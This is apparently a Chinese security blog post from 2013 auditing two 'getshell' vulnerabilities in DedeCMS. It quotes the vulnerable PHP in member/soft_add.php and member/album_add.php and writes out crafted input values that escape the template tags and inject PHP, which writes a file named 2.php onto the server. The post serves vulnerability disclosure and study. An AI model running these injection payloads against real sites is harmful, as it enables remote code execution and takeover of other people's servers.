您的位置 » 首页 » 代码审计,实用工具 » 代码审计:dedecms(织梦)鸡肋getshell 漏洞

代码审计:dedecms(织梦)鸡肋getshell 漏洞

发表于4年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2013年02月10日 | 文章热度:10,567 次 全屏阅读

显示不全请点击全屏阅读

gpc off 的getshell

/member/soft_add.php

 156      if($softurl1!='')
 157      {
 158          $urls .= "{dede:link islocal='1' text='{$servermsg1}'} $softurl1 {/dede:link}\r\n";
 159      }

其中的$servermsg1毫无过滤的进入了$url中
构造好$servermsg1=’}x{/dede:link}{dede:yy520 name\=”‘]=0;fputs(fopen(‘2.php’,’w’),’justforfun’);//”}yy520{/dede:yy520}

在plus 底下就可以生成一个2.php

当$cfg_mb_rmdown 为N的时候的getshell
member/album_add.php

92      if($formhtml==1)
  93      {
  94          $imagebody = stripslashes($imagebody); //无视gpc了
  95          $imgurls .= GetCurContentAlbum($imagebody,$copysource,$litpicname);
  96          if($ddisfirst==1 && $litpic=='' && !empty($litpicname))
  97          {
  98              $litpic = $litpicname;
  99              $hasone = true;
 100          }
 101      }
 102      $info = '';

进入到GetCurContentAlbum
function GetCurContentAlbum($body,$rfurl,&$firstdd)
  28  {
  29      global $cfg_multi_site,$cfg_basehost,$ddmaxwidth,$cfg_basedir,$pagestyle,$cfg_mb_rmdown,$title,$cfg_ml,$cfg_user_dir;
  30      include_once (DEDEINC."/dedecollection.func.php");
  31      if(empty($ddmaxwidth)) $ddmaxwidth = 240;
  32      $rsimg = '';
  33      $basehost = "http://".$_SERVER["HTTP_HOST"];
  34      $img_array = array();
  35      preg_match_all("/(src|SRC)=[\"|'| ]{0,}(http:\/\/([^>]*)\.(gif|jpg|png))/isU", $body, $img_array);
  36      $img_array = array_unique($img_array[2]);
  37      $imgUrl = $cfg_user_dir."/".$cfg_ml->M_ID;
  38      $imgPath = $cfg_basedir.$imgUrl;
  39      if(!is_dir($imgPath."/"))
  40      {
  41          MkdirAll($imgPath,$GLOBALS['cfg_dir_purview']);
  42          CloseFtp();
  43      }
  44      $milliSecond = MyDate("ymdHis",time());
  45      foreach($img_array as $key => $value)
  46      {
  47          if(preg_match("#".$basehost."#i", $value))
  48          {
  49              continue;
  50          }
  51          if($cfg_basehost!=$basehost && preg_match("#".$cfg_basehost."#i", $value))
  52          {
  53              continue;
  54          }
  55          if(!preg_match("#^http:\/\/#i", $value))
  56          {
  57              continue;
  58          }
  59          if($cfg_mb_rmdown=='Y')
  {...........}
  
  93          else
  94          {
  95              $rsimg .= "{dede:img ddimg='$value' text='' width='0' height='0'} $value {/dede:img}\r\n";
  96          }
  97      }
  98      return $rsimg;
  99  }

构造
formhtml为1
imagabody为
src=http://{/dede:img}{dede:yy520 name\=”‘]=0;fputs(fopen(‘2.php’,’w’),’justforfun’);//”}yy520{/dede:yy520}.jpg

 

作者:yy520

Tags:

dedecms漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/2200/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)